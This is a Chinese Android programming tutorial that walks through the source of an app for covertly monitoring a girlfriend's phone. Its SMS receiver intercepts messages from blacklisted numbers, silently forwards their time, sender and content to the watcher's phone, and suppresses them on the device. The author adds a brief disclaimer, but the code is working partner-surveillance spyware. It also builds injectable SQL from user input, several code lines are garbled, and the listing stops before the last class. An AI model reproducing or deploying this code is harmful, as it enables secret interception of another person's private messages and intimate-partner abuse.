ch025 阶段项目 红杏出墙

1.1 项目背景

监视女友手机(在此声明,这样做只是为了练习数据库、广播、Intent、Activity结合在一起的使用方法,且本人非常讨厌这种方式,感情需建立在坦诚与彼此尊重的基础之上),如果是熟悉且认识的人(白名单),女友可成功收发短信,如果是危险人士(黑名单)则收发短信息将发送到自己的手机里,以达到监控的目的,如下图所示

1.2 完整代码

① 新建工程(com.kawa.smsfilter)

② 修改AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

      package="com.kawa.smsfilter"

      android:versionCode="1"

      android:versionName="1.0">

    <uses-sdk android:minSdkVersion="8" />

    <!-- 收短信 -->

    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>

    <!-- 发短信 -->

    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

    <!-- 读取联系人 -->

    <uses-permission android:name="android.permission.READ_CONTACTS"></uses-permission>

 

    <application android:icon="@drawable/icon" android:label="@string/app_name">

        <activity android:name=".MainActivity"

                  android:label="@string/app_name">

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <!-- 注册短信广播 -->

        <receiver android:name=".receiver.SmsReceiver">

            <intent-filter android:priority="1000">

                <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>

            </intent-filter>

        </receiver>

        <activity android:name=".activity.SmsBlackNameActivity"></activity>

        <activity android:name=".activity.SmsWhiteNameActivity"></activity>

        <activity android:name=".activity.SmsSetMoreActivity"></activity>

    </application>

</manifest>

----------------------------------------------Layout-------------------------------------------------

③ 新增Layout,main.xml(桌面菜单)

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    android:background="@drawable/sms_bg"

    android:orientation="vertical" >

    <include layout="@layout/title" >

    </include>

    <!-- 菜单 -->

    <GridView

        android:id="@+id/neirong"

        android:layout_width="fill_parent"

        android:layout_height="wrap_content"

        android:layout_marginLeft="8px"

        android:columnWidth="90px"

        android:gravity="center"

        android:horizontalSpacing="10dp"

        android:numColumns="auto_fit"

        android:stretchMode="columnWidth"

        android:verticalSpacing="10dp" >

    </GridView>

</LinearLayout>

④ 新增Item,menu_item.xml(桌面菜单列表选项)

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical" >

    <ImageView

        android:id="@+id/tubiao"

        android:layout_width="80px"

        android:layout_height="80px"

        android:src="@drawable/icon" >

    </ImageView>

    <TextView

        android:id="@+id/biaoti"

        android:layout_width="80px"

        android:layout_height="30px"

        android:gravity="center_horizontal"

        android:text="TextView"

        android:textColor="@color/black" >

    </TextView>

</LinearLayout>

⑤ 新增Include,title.xml(公用的顶部布局)

<?xml version="1.0" encoding="utf-8"?>

<!-- 标题 -->

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="fill_parent"

    android:layout_height="45dip" >

    <TextView

        android:id="@+id/title_top"

        android:layout_width="fill_parent"

        android:layout_height="fill_parent"

        android:background="@drawable/title_bg"

        android:gravity="center"

        android:textColor="@color/white"

        android:textSize="20sp" >

    </TextView>

</LinearLayout>

⑥ 新增Layout,act_settings.xml(设置黑白名单与自己的电话号码)

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    android:background="@drawable/sms_bg"

    android:orientation="vertical" >

    <!-- 标题 -->

    <include layout="@layout/title" />

    <!-- 表格布局 -->

    <TableLayout

        android:id="@+id/tableLayout1"

        android:layout_width="fill_parent"

        android:layout_height="150px"

        android:layout_marginTop="10px" >

        <!-- 添加黑名单 -->

        <TableRow

            android:id="@+id/tableRow1"

            android:layout_width="290px"

            android:layout_height="45px"

            android:layout_marginLeft="5px"

            android:background="@drawable/tablerow_top_nosharep" >

            <TextView

                android:id="@+id/textView1"

                android:layout_width="180px"

                android:layout_height="45px"

                android:layout_marginLeft="10px"

                android:gravity="center_vertical"

                android:text="@string/addBlack"

                android:textColor="@color/black"

                android:textSize="18sp" >

            </TextView>

        </TableRow>

        <!-- 添加白名单 -->

        <TableRow

            android:id="@+id/tableRow2"

            android:layout_width="290px"

            android:layout_height="45px"

            android:layout_marginLeft="5px"

            android:background="@drawable/tablerow_sharep" >

            <TextView

                android:id="@+id/textView2"

                android:layout_width="180px"

                android:layout_height="45px"

                android:layout_marginLeft="10px"

                android:gravity="center_vertical"

                android:text="@string/addWhite"

                android:textColor="@color/black"

                android:textSize="18sp" >

            </TextView>

        </TableRow>

        <!-- 修改转发号码 -->

        <TableRow

            android:id="@+id/tableRow3"

            android:layout_width="290px"

            android:layout_height="45px"

            android:layout_marginLeft="5px"

            android:background="@drawable/tablerow_bottom_nosharep" >

            <TextView

                android:id="@+id/textView3"

                android:layout_width="180px"

                android:layout_height="45px"

                android:layout_marginLeft="10px"

                android:gravity="center_vertical"

                android:text="@string/updateSendTo"

                android:textColor="@color/black"

                android:textSize="18sp" >

            </TextView>

        </TableRow>

    </TableLayout>

    <!-- 退出短信拦截 -->

    <Button

        android:id="@+id/ext"

        android:layout_width="300px"

        android:layout_height="40px"

        android:layout_gravity="center_horizontal"

        android:background="#FF7F00"

        android:gravity="center"

        android:text="@string/ext" >

    </Button>

</LinearLayout>

⑦ 新增Layout,act_blackandwhite_names.xml(显示黑/白名单)

<?xml version="1.0" encoding="utf-8"?>

<!-- 黑白名单 -->

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    android:background="@drawable/sms_bg"

    android:orientation="vertical" >

    <include layout="@layout/title" >

    </include>

    <ListView

        android:id="@+id/blackList"

        android:layout_width="fill_parent"

        android:layout_height="wrap_content" >

    </ListView>

</LinearLayout>

⑧ 新增Item,blackandwhite_names_item.xml(黑/白名单列表选项)

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="horizontal" >

    <TextView

        android:id="@+id/blackItem"

        android:layout_width="260px"

        android:layout_height="40px"

        android:layout_marginLeft="20px"

        android:text="TextView" >

    </TextView>

    <ImageView

        android:id="@+id/dele"

        android:layout_width="40px"

        android:layout_height="40px"

        android:background="@drawable/android_home_search_clean"

        android:src="@drawable/android_home_search_clean" >

    </ImageView>

</LinearLayout>

----------------------------------------------Activity-------------------------------------------------

⑨ 新增Activity,SmsBlackNameActivity.java显示黑名单

package com.kawa.smsfilter.activity;

import java.util.ArrayList;

import java.util.List;

import android.app.Activity;

import android.app.AlertDialog;

import android.app.AlertDialog.Builder;

import android.content.DialogInterface;

import android.content.DialogInterface.OnClickListener;

import android.database.Cursor;

import android.database.sqlite.SQLiteDatabase;

import android.os.Bundle;

import android.view.View;

import android.widget.AdapterView;

import android.widget.AdapterView.OnItemClickListener;

import android.widget.ListView;

import android.widget.TextView;

import com.kawa.smsfilter.R;

import com.kawa.smsfilter.adapter.SmsBlackNameAdapter;

import com.kawa.smsfilter.utils.DBHelper;

import com.kawa.smsfilter.utils.DataConstant;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsBlackNameActivity    

 * 类描述:  黑名单

 * 创建人:crq   

 * 修改人:fy  

 * 创建时间:2012-10-23 上午9:19:29   

 * Copyright (c) 方勇-版权所有

 */

public class SmsBlackNameActivity extends Activity {

/* 黑名单视图 */

private ListView blackNames;

/* 黑名单数据 */

private List<String> data;

private DBHelper dbHelper;

private SQLiteDatabase db;

private TextView title;

 

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.act_blackandwhite_names);

dbHelper = new DBHelper(this);

db = dbHelper.getWritableDatabase();

initViews();

setListeners();

setTitle();

setAdapter();

}

 

// 初始化控件

protected void initViews() {

this.blackNames = (ListView) this.findViewById(R.id.blackList);

this.title = (TextView) findViewById(R.id.title_top);

}

 

// 绑定Adapter

protected void setAdapter() {

blackNames.setAdapter(new SmsBlackNameAdapter(this, getData()));

}

 

// 设置标题

protected void setTitle() {

title.setText("黑名单");

}

 

// 获取黑名单

private List<String> getData() {

data = new ArrayList<String>();

String sql = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME

 + " where "

+ DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK;

Cursor cursor = db.rawQuery(sql, null);

while (cursor.moveToNext()) {

data.add(cursor.getString(cursor.

getColumnIndex(DataConstant.Contact.CONTACT_NUM)));

}

return data;

}

 

// 绑定监听

protected void setListeners() {

blackNames.setOnItemClickListener(itemListener);

}

 

// 点击选项

protected OnItemClickListener itemListener = new OnItemClickListener() {

public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, 

long arg3) {

AlertDialog.Builder builder = new Builder(SmsBlackNameActivity.this);

final String num = data.get(arg2);

builder.setTitle("温馨提示");

builder.setMessage("将号码  " + num + " 从黑名单中移除?");

builder.setPositiveButton("确定"new OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

String sql = "update " + DataConstant.Contact.

CONTACT_TABLE_NAME + " set "

+ DataConstant.Contact.CONTACT_BLACK + "=" +

 DataConstant.WHITE + " where "

+ DataConstant.Contact.CONTACT_NUM + "=" + num;

db.beginTransaction();// 开始事务

db.execSQL(sql);

db.setTransactionSuccessful();

db.endTransaction();// 结束事务

SmsBlackNameActivity.this.setAdapter();// 重载视图

}

});

builder.setNegativeButton("取消"new OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

};

}

⑩ 新增Activity,SmsWhiteNameActivity.java显示白名单

package com.kawa.smsfilter.activity;

import java.util.ArrayList;

import java.util.List;

import android.app.Activity;

import android.app.AlertDialog;

import android.app.AlertDialog.Builder;

import android.content.DialogInterface;

import android.content.DialogInterface.OnClickListener;

import android.database.Cursor;

import android.database.sqlite.SQLiteDatabase;

import android.os.Bundle;

import android.view.View;

import android.widget.AdapterView;

import android.widget.ListView;

import android.widget.TextView;

import android.widget.AdapterView.OnItemClickListener;

import com.kawa.smsfilter.R;

import com.kawa.smsfilter.adapter.SmsBlackNameAdapter;

import com.kawa.smsfilter.utils.DBHelper;

import com.kawa.smsfilter.utils.DataConstant;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsWhiteNameActivity    

 * 类描述: 白名单 

 * 创建人:crq   

 * 修改人:fy   

 * 创建时间:2012-10-23 上午9:20:24   

 * Copyright (c) 方勇-版权所有

 */

public class SmsWhiteNameActivity extends Activity{

 

private ListView whiteNames;

private List<String> data;

private TextView title;

private DBHelper dbHelper;

private SQLiteDatabase db;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.act_blackandwhite_names);

dbHelper = new DBHelper(this);

db = dbHelper.getWritableDatabase();

initViews();

setTitle();

setAdapter();

setListeners();

}

 

// 初始化控件

protected void initViews() {

this.whiteNames = (ListView) this.findViewById(R.id.blackList);

this.title=(TextView) findViewById(R.id.title_top);

}

 

//绑定Adapter

protected void setAdapter(){

whiteNames.setAdapter(new SmsBlackNameAdapter(this, getData()));

}

 

//设置标题

protected void setTitle(){

title.setText("白名单");

}

 

//绑定监听

protected void setListeners(){

whiteNames.setOnItemClickListener(itemListener);

}

 

//获取白名单

private List<String> getData() {

data = new ArrayList<String>();

String sql = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME

" where " + DataConstant.Contact.CONTACT_BLACK + "="

+ DataConstant.WHITE;

Cursor cursor=db.rawQuery(sql, null);

while(cursor.moveToNext()){

data.add(cursor.getString(cursor.getColumnIndex(

DataConstant.Contact.CONTACT_NUM)));

}

return data;

}

 

//点击选项

protected OnItemClickListener itemListener=new OnItemClickListener() {

public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,

long arg3) {

AlertDialog.Builder builder=new Builder(SmsWhiteNameActivity.this);

final String num=data.get(arg2);

builder.setTitle("温馨提示");

builder.setMessage("将号码  "+num+" 添加到黑名单?");

builder.setPositiveButton("确定"new OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

String sql = "update " +

 DataConstant.Contact.CONTACT_TABLE_NAME

" set " + DataConstant.Contact.CONTACT_BLACK + "="

+ DataConstant.BLACK + " where "

+ DataConstant.Contact.CONTACT_NUM + "=" + num;

db.beginTransaction();

db.execSQL(sql);

db.setTransactionSuccessful();

db.endTransaction();

SmsWhiteNameActivity.this.setAdapter();

}

});

builder.setNegativeButton("取消"new OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

};

}

11 新增Activity,SmsSetMoreActivity.java增加黑白名单与自己的电话号码

package com.kawa.smsfilter.activity;

import java.util.ArrayList;

import java.util.List;

import android.app.Activity;

import android.app.AlertDialog;

import android.app.AlertDialog.Builder;

import android.content.DialogInterface;

import android.content.Intent;

import android.database.Cursor;

import android.database.sqlite.SQLiteDatabase;

import android.os.Bundle;

import android.text.InputType;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.TableRow;

import android.widget.TextView;

import android.widget.Toast;

import com.kawa.smsfilter.MainActivity;

import com.kawa.smsfilter.R;

import com.kawa.smsfilter.utils.DBHelper;

import com.kawa.smsfilter.utils.DataConstant;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsSetMoreActivity    

 * 类描述:  设置

 * 创建人:crq   

 * 修改人:fy   

 * 创建时间:2012-10-23 上午9:20:01   

 * Copyright (c) 方勇-版权所有

 */

public class SmsSetMoreActivity extends Activity {

private TextView title;

private Button ext;

private TableRow addBlack;

private TableRow addWhite;

private TableRow updataSend;

private DBHelper helper;

private SQLiteDatabase db;

private EditText input;// 输入的号码

 

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.act_settings);

helper = new DBHelper(this);

db = helper.getWritableDatabase();

initViews();

setData();

setListener();

}

 

// 初始化控件

protected void initViews() {

this.title = (TextView) findViewById(R.id.title_top);

this.ext = (Button) this.findViewById(R.id.ext);

this.addBlack = (TableRow) this.findViewById(R.id.tableRow1);

this.addWhite = (TableRow) this.findViewById(R.id.tableRow2);

this.updataSend = (TableRow) this.findViewById(R.id.tableRow3);

}

 

// 设定数值

protected void setData() {

title.setText("设置");

}

 

// 点击监听

private View.OnClickListener listeners = new View.OnClickListener() {

public void onClick(View v) {

switch (v.getId()) {

// 添加黑名单

case R.id.tableRow1:

addBlackMethod();

break;

// 添加白名单

case R.id.tableRow2:

addWhiteMethod();

break;

// 修改转发号码

case R.id.tableRow3:

updateSentMethod();

break;

// 退出短信拦截

case R.id.ext:

extApp();

break;

}

}

};

 

// 绑定监听

protected void setListener() {

addBlack.setOnClickListener(listeners);

addWhite.setOnClickListener(listeners);

updataSend.setOnClickListener(listeners);

ext.setOnClickListener(listeners);

}

 

// 添加黑名单

private void addBlackMethod() {

AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this);

builder.setTitle("温馨提示");

input = new EditText(SmsSetMoreActivity.this);

input.setHint("请输入黑名单号码");

// 只能输入数字

input.setInputType(InputType.TYPE_CLASS_NUMBER);

builder.setView(input);

builder.setPositiveButton("确定"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

String queryStr = "select * from " + 

DataConstant.Contact.CONTACT_TABLE_NAME + " where "

+ DataConstant.Contact.CONTACT_BLACK + "=" + 

DataConstant.BLACK;

Cursor cursor = db.rawQuery(queryStr, null);

List<String> nums = new ArrayList<String>();

while (cursor.moveToNext()) {

nums.add(cursor.getString(cursor.getColumnIndex(

DataConstant.Contact.CONTACT_NUM)));

}

boolean isRet = false;

String inputNum = input.getText().toString();

if (nums != null && nums.size() > 0) {

for (int i = 0; i < nums.size(); i++) {

if (nums.get(i).equals(inputNum)) {

isRet = true;

break;

}

}

}

if (isRet) {

Toast.makeText(SmsSetMoreActivity.this"该号码已经是黑名单!

"4000).show();

else {

String sql = "insert into " + 

DataConstant.Contact.CONTACT_TABLE_NAME + " ("

+ DataConstant.Contact.CONTACT_NUM + "," +

 DataConstant.Contact.CONTACT_BLACK + ") values (?,"

+ DataConstant.BLACK + ")";

db.beginTransaction();

db.execSQL(sql, new String[] { inputNum });

db.setTransactionSuccessful();

db.endTransaction();

Toast.makeText(SmsSetMoreActivity.this"添加黑名单成功!"

4000).show();

Intent intent = new Intent(SmsSetMoreActivity.this

SmsBlackNameActivity.class);

SmsSetMoreActivity.this.startActivity(intent);

}

}

});

builder.setNegativeButton("取消"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

 

// 添加白名单

private void addWhiteMethod() {

AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this);

builder.setTitle("温馨提示");

input = new EditText(SmsSetMoreActivity.this);

input.setHint("请输入白名单号码");

// 只能输入数字

input.setInputType(InputType.TYPE_CLASS_NUMBER);

builder.setView(input);

builder.setPositiveButton("确定"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

String queryStr = "select * from " +

 DataConstant.Contact.CONTACT_TABLE_NAME + " where "

+ DataConstant.Contact.CONTACT_BLACK + "=" + 

DataConstant.WHITE;

Cursor cursor = db.rawQuery(queryStr, null);

List<String> nums = new ArrayList<String>();

while (cursor.moveToNext()) {

nums.add(cursor.getString(cursor.getColumnIndex(

DataConstant.Contact.CONTACT_NUM)));

}

boolean isRet = false;

String inputNum = input.getText().toString();

if (nums != null && nums.size() > 0) {

for (int i = 0; i < nums.size(); i++) {

if (nums.get(i).equals(inputNum)) {

isRet = true;

break;

}

}

}

if (isRet) {

Toast.makeText(SmsSetMoreActivity.this"该号码已经是白名单!",

 4000).show();

else {

String sql = "insert into " + DataConstant.

Contact.CONTACT_TABLE_NAME + " ("

+ DataConstant.Contact.CONTACT_NUM + "," + 

DataConstant.Contact.CONTACT_BLACK + ") values (?,"

+ DataConstant.WHITE + ")";

db.beginTransaction();

db.execSQL(sql, new String[] { inputNum });

db.setTransactionSuccessful();

db.endTransaction();

Toast.makeText(SmsSetMoreActivity.this"添加白名单成功!"

4000).show();

Intent intent = new Intent(SmsSetMoreActivity.this

SmsWhiteNameActivity.class);

SmsSetMoreActivity.this.startActivity(intent);

}

}

});

builder.setNegativeButton("取消"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

 

// 修改转发号码

private void updateSentMethod() {

AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this);

builder.setTitle("温馨提示");

input = new EditText(SmsSetMoreActivity.this);

input.setHint("请输入转发号码");

// 只能输入数字

input.setInputType(InputType.TYPE_CLASS_NUMBER);

builder.setView(input);

builder.setPositiveButton("确定"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

String queryStr = "select * from " +

 DataConstant.Contact.CONTACT_TABLE_NAME + " where "

+ DataConstant.Contact.CONTACT_BLACK + "=" +

 DataConstant.WHITE;

Cursor cursor = db.rawQuery(queryStr, null);

List<String> nums = new ArrayList<String>();

while (cursor.moveToNext()) {

nums.add(cursor.getString(cursor.getColumnIndex(

DataConstant.Contact.CONTACT_NUM)));

}

boolean isRet = false;

String inputNum = input.getText().toString();

if (nums != null && nums.size() > 0) {

for (int i = 0; i < nums.size(); i++) {

if (nums.get(i).equals(inputNum)) {

isRet = true;

break;

}

}

}

if (isRet) {

String sql = "update " +

 DataConstant.SendTo.SENDTO_TABLE_NAME + " set " + DataConstant.SendTo.SENDTO_NUM

" =? where " + DataConstant.SendTo.SENDTO_NUM + " = ?";

db.beginTransaction();

db.execSQL(sql, new String[] { inputNum, nums.get(0) });

db.setTransactionSuccessful();

db.endTransaction();

Toast.makeText(SmsSetMoreActivity.this"修改转发号码成功!",

 4000).show();

else {

String sql = "insert into " +

 DataConstant.SendTo.SENDTO_TABLE_NAME + " (" + DataConstant.SendTo.SENDTO_NUM

") values (?)";

db.beginTransaction();

db.execSQL(sql, new String[] { inputNum });

db.setTransactionSuccessful();

db.endTransaction();

Toast.makeText(SmsSetMoreActivity.this"添加转发号码成功!",

 4000).show();

}

Intent intent = new Intent(SmsSetMoreActivity.this,

 MainActivity.class);

SmsSetMoreActivity.this.startActivity(intent);

}

});

builder.setNegativeButton("取消"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

 

// 退出短信拦截

private void extApp() {

AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this);

builder.setTitle("温馨提示");

builder.setMessage("您确定要退出吗?退出将不能拦截短信!");

builder.setPositiveButton("确定"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

System.exit(0);

}

});

builder.setNegativeButton("取消"new DialogInterface.OnClickListener() {

@Override

public void onClick(DialogInterface dialog, int which) {

dialog.dismiss();

}

});

builder.create().show();

}

}

----------------------------------------------Adapter-----------------------------------------------

12 新增Adapter,SmsBlackNameAdapter.java自定义黑名单适配器

package com.kawa.smsfilter.adapter;

import java.util.List;

import com.kawa.smsfilter.R;

import android.content.Context;

import android.view.LayoutInflater;

import android.view.View;

import android.view.ViewGroup;

import android.widget.BaseAdapter;

import android.widget.ImageView;

import android.widget.TextView;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsBlackNameAdapter    

 * 类描述:  自定义短信黑名单适配器,为黑名单ListView提供数据

 * 创建人:crq   

 * 修改人:fy 

 * 创建时间:2012-10-22 下午4:49:11   

 * Copyright (c) 方勇-版权所有

 */

public class SmsBlackNameAdapter extends BaseAdapter {

/* 上下文 */

private Context context;

/* 黑名單列表 */

private List<String> data;

/* 布局管理对象 */

private LayoutInflater inflater;

 

public SmsBlackNameAdapter(Context context, List<String> data) {

super();

this.context = context;

this.data = data;

inflater = LayoutInflater.from(context);

}

 

/* 黑名单条数 */

@Override

public int getCount() {

return data.size();

}

 

/* 某一条黑名单 */

@Override

public Object getItem(int arg0) {

return data.get(arg0);

}

 

/* 黑名单ID */

@Override

public long getItemId(int arg0) {

return arg0;

}

 

/* 返回填充黑名单数据后的视图 */

@Override

public View getView(final int position, View convertView, ViewGroup parent) {

ViewHolder holder = null;

if (convertView == null) {//第一次加载黑名单

holder = new ViewHolder();

convertView = inflater.inflate(R.layout.blackandwhite_names_item

null);

holder.names = (TextView) convertView.findViewById(R.id.blackItem);

holder.dele = (ImageView) convertView.findViewById(R.id.dele);

convertView.setTag(holder);

else {//非第一次加载黑名单

holder = (ViewHolder) convertView.getTag();

}

convertView.setBackgroundColor(R.color.black);

holder.names.setText(data.get(position));//更新电话号码

return convertView;

}

 

/* 内存结构的黑名单,缓存处理,提升性能 */

class ViewHolder {

TextView names;// 电话号码

ImageView dele;// 删除图片

}

}

13 新增Adapter,SmsMenuAdapter.java自定义桌面菜单适配器

package com.kawa.smsfilter.adapter;

import java.util.List;

import java.util.Map;

import com.kawa.smsfilter.R;

import android.content.Context;

import android.view.LayoutInflater;

import android.view.View;

import android.view.ViewGroup;

import android.widget.BaseAdapter;

import android.widget.ImageView;

import android.widget.TextView;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsMenuAdapter    

 * 类描述:  自定义首页桌面菜单适配器

 * 创建人:crq  

 * 修改人:fy 

 * 创建时间:2012-10-23 上午10:58:17   

 * Copyright (c) 方勇-版权所有

 */

public class SmsMenuAdapter extends BaseAdapter {

/* 上下文 */

private Context context;

/* GridView适配数据 */

private List<Map<String, Object>> data;

/* 布局管理对象 */

private LayoutInflater inflater;

 

public SmsMenuAdapter(Context context, List<Map<String, Object>> data) {

super();

this.context = context;

this.data = data;

inflater = LayoutInflater.from(context);

}

 

/* 桌面菜单个数 */

@Override

public int getCount() {

return data.size();

}

 

/* 某一个桌面菜单 */

@Override

public Object getItem(int position) {

return data.get(position);

}

 

/* 桌面菜单ID */

@Override

public long getItemId(int position) {

return position;

}

 

/* 返回填充桌面菜单数据后的视图 */

@Override

public View getView(int position, View convertView, ViewGroup parent) {

ViewHolder holder = null;

if (convertView == null) {// 第一次加载桌面菜单

holder = new ViewHolder();

convertView = inflater.inflate(R.layout.menu_itemnull);

holder.img_icon = (ImageView) convertView.findViewById(R.id.tubiao);

holder.view_short = (TextView) convertView.findViewById(R.id.biaoti);

convertView.setTag(holder);

else {// 非第一次加载桌面菜单

holder = (ViewHolder) convertView.getTag();

}

holder.img_icon.setImageResource(Integer.parseInt(data.get(position).

get("tubiao").toString()));

holder.view_short.setText(data.get(position).get("biaoti").toString());

return convertView;

}

 

/* 内存结构的菜单,缓存处理,提升性能 */

class ViewHolder {

ImageView img_icon;// 图标

TextView view_short;// 图标描述

}

}

----------------------------------------------BroadcastReceiver------------------------------------

14 新增BroadcastReceiver,SmsReceiver.java短信广播

package com.kawa.smsfilter.receiver;

import java.sql.Date;

import java.text.SimpleDateFormat;

import java.util.ArrayList;

import java.util.List;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.database.Cursor;

import android.database.sqlite.SQLiteDatabase;

import android.os.Bundle;

import android.telephony.SmsManager;

import android.telephony.SmsMessage;

import android.util.Log;

import com.kawa.smsfilter.utils.DBHelper;

import com.kawa.smsfilter.utils.DataConstant;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:SmsReceiver    

 * 类描述:短信广播  

 * 创建人:crq

 * 修改人:fy   

 * 创建时间:2012-10-22 下午4:26:30   

 * Copyright (c) 方勇-版权所有

 */

public class SmsReceiver extends BroadcastReceiver {

 

private final String TAG = "kawa";

/* 黑名单列表 */

private List<String> blackList;

 

@Override

public void onReceive(Context arg0, Intent arg1) {

blackList = getBlackData(arg0);// 黑名单列表

Log.v(TAG"终于拦截了-------->" + blackList.size());

Bundle bundle = arg1.getExtras();// 广播数据

if (bundle != null && bundle.size() > 0) {// 收到感兴趣的广播数据

Object[] objs = (Object[]) bundle.get("pdus");// 得到由短信内容组成

for (Object object : objs) {

SmsMessage mess = SmsMessage.createFromPdu((byte[]) object);

/* 短信内容 */

String message = mess.getMessageBody();

/* 提取电话号码 */

String telephoneNum = mess.getDisplayOriginatingAddress();

for (int i = 0; i < blackList.size(); i++) {

/* 如果是黑名单 */

if (telephoneNum.equals(blackList.get(i))) {

/* 接收人电话号码 */

String sendTo = getSento(arg0);

SmsManager smsManager = SmsManager.getDefault();

Date date = new Date(mess.getTimestampMillis());

SimpleDateFormat format =

 new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String sendTime = format.format(date);

// 短信内容

String text = "time:" + sendTime + "\ntele:" +

 telephoneNum + "\ncontent:" + message;

// 发送短信给监控人

smsManager.sendTextMessage(sendTo, null, text, nullnull);

// 发送短信给发件人

smsManager.sendTextMessage(telephoneNum, null,

 "you are wrong"nullnull);

this.abortBroadcast();// 中断广播

break;

}

}

}

}

}

 

/* 获取黑名单 */

protected List<String> getBlackData(Context context) {

blackList = new ArrayList<String>();

DBHelper dbHelper = new DBHelper(context);

SQLiteDatabase db = dbHelper.getWritableDatabase();

String sql = "select * from " + DataConstant.Contact.

CONTACT_TABLE_NAME + " where "

+ DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK;

Cursor cursor = db.rawQuery(sql, null);

while (cursor.moveToNext()) {

blackList.add(cursor.getString(cursor.getColumnIndex(DataConstant.

Contact.CONTACT_NUM)));

}

return blackList;

}

 

/* 接收人电话号码 */

protected String getSento(Context context) {

DBHelper dbHelper = new DBHelper(context);

SQLiteDatabase db = dbHelper.getWritableDatabase();

String sql = "select * from " + DataConstant.SendTo.SENDTO_TABLE_NAME;

Cursor cursor = db.rawQuery(sql, null);

String sendTo = "15555215556";

while (cursor.moveToNext()) {

sendTo = cursor.getString(cursor.getColumnIndex(

DataConstant.SendTo.SENDTO_NUM));

}

return sendTo;

}

}

----------------------------------------------Util-------------------------------------------------

15 新增UtilDBHelper.java,数据库工具类

package com.kawa.smsfilter.utils;

import android.content.Context;

import android.database.sqlite.SQLiteDatabase;

import android.database.sqlite.SQLiteOpenHelper;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:DBHelper    

 * 类描述:  数据库工具类

 * 创建人:crq   

 * 修改人:fy

 * 创建时间:2012-10-22 下午4:11:53   

 * Copyright (c) 方勇-版权所有

 */

public class DBHelper extends SQLiteOpenHelper {

 

public DBHelper(Context context) {

super(context, DataConstant.DB_NAMEnull, DataConstant.VERSOR);

}

 

@Override

public void onCreate(SQLiteDatabase db) {

/* 创建联系人表 */

db.execSQL("create table IF NOT EXISTS " + DataConstant.Contact.

CONTACT_TABLE_NAME + " ("

+ DataConstant.Contact._ID +

 " Integer primary key autoincrement," + DataConstant.Contact.CONTACT_NUM

" text," + DataConstant.Contact.CONTACT_BLACK + " real)");

/* 创建接收人表 */

db.execSQL("create table IF NOT EXISTS " +

 DataConstant.SendTo.SENDTO_TABLE_NAME + " (" + DataConstant.SendTo._ID

" Integer primary key autoincrement," +

 DataConstant.SendTo.SENDTO_NUM + " text)");

}

 

@Override

public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {

}

}

16 新增UtilDataConstant.java,数据常量类

package com.kawa.smsfilter.utils;

import android.provider.BaseColumns;

/**

 * 

 * 项目名称:SmsFilter    

 * 类名称:DataConstant    

 * 类描述:  常量数据

 * 创建人:crq  

 * 修改人:fy

 * 创建时间:2012-10-22 下午4:12:59   

 * Copyright (c) 方勇-版权所有

 */

